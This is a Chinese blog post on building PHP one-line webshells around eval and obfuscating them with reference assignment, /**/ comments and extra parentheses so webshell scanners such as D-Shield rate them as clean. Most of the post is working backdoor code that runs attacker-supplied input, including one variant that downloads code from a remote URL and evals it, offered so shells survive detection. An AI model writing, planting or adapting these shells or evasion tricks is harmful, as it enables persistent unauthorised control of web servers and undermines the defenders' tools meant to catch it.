eval与php一句话的关系

part1

首先我们知道,eval能执行php代码,最常见的php一句话也是用eval关键字的。

<?php @eval($_GET["code"])?>

Part2

在论坛学习的时候,有一个现象,如果有人分享免杀一句话,里面用了 eval 这个关键字,很多人就会如图。

Part3

很多表哥都这样说,主要还是因为eval这个函数,在人们心中是个危险函数,基本WAF看见秒杀那种,可事实真的是这样嘛??!

Part4

我们先写一个必被秒杀的一句话

<?php

$a= $_REQUEST[1];

eval($a);

?>

D盾 4级

将变量$a的值引用给$b,所以在这里$a和$b是相等的。

<?php

@$a = $_REQUEST[1];

eval($b=&$a);

?>

D盾 1级

以前是可以0级的,今天D盾更新了嘎嘎。

Part5

利用php注释/**/ 与括号()

首先我先来看看下面这个一句话

<?php

$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');

eval($a);

?>

D盾 1级

那么如何做到0级呢,我们可以利用() /**/

<?php

$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');

eval(/**/($a));

?>

D盾并没有扫描出来

关于() /**/早就有大佬写文章时提出了,如何有效利用呢,一般如果你使用回调函数写的一句话,时间久了被waf杀,你可以尝试用这种方法,说不定可以让你的一句话起死回生。

Part5

举个例子嘿

这个马子是很久以前的,早就加入特征库。

<?php $a=fopen('http://xxxx/xx.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print(eval(($c=$b)));fclose($a);

D盾 5级

利用() //来混淆** 这也算是D盾的一种bug。

<?php $a=/**/fopen('http://www.xxx.com/s9mf.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print/**/(/**/eval(/**/($c=$b)/**/)/**/);fclose($a);?>

D盾 0级

Part6

杂谈

各种webshell扫描软件都有不同的优缺点,D盾的话各种能力比较综合,也在不断更新,特征库也比较全,有个有趣的就是D盾扫描一个只有几十字节的一句话报1,2级,只要把这个一句话多加字符串加大体积就变成0级。还有OpenRASP WEBDIR+检测引擎这个真的满厉害的,各种回调基本能杀,但是就算是正常文件体积大点都被查出后门,有点误报,绕过的话,不使用回调来写一句话更容易过,用一些字符串操作符。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 专业考题类型管理运行工作负责人一般作业考题内容选项A选项B选项C选项D选项E选项F正确答案 变电单选GYSZ本规程...
    小白兔去钓鱼阅读 9,070评论 0 13
  • “噼啪”一声,惊醒了一旁还在发呆的陈三。唢呐吹的好像要把一片寂静中人的魂赶跑一样,乐手卖力的吹着,拼命的想要跟着鞭...
    唱诗班的小学徒阅读 1,080评论 0 4
  • 回忆总想哭 一人太孤独 踏过千山万水却迷路 行到人山人海又添堵 回忆总想哭 一人不幸福 抹不掉的记忆总反复 烫过的...
    左眼殇暮光阅读 319评论 4 5
  • MarkTang阅读 283评论 0 0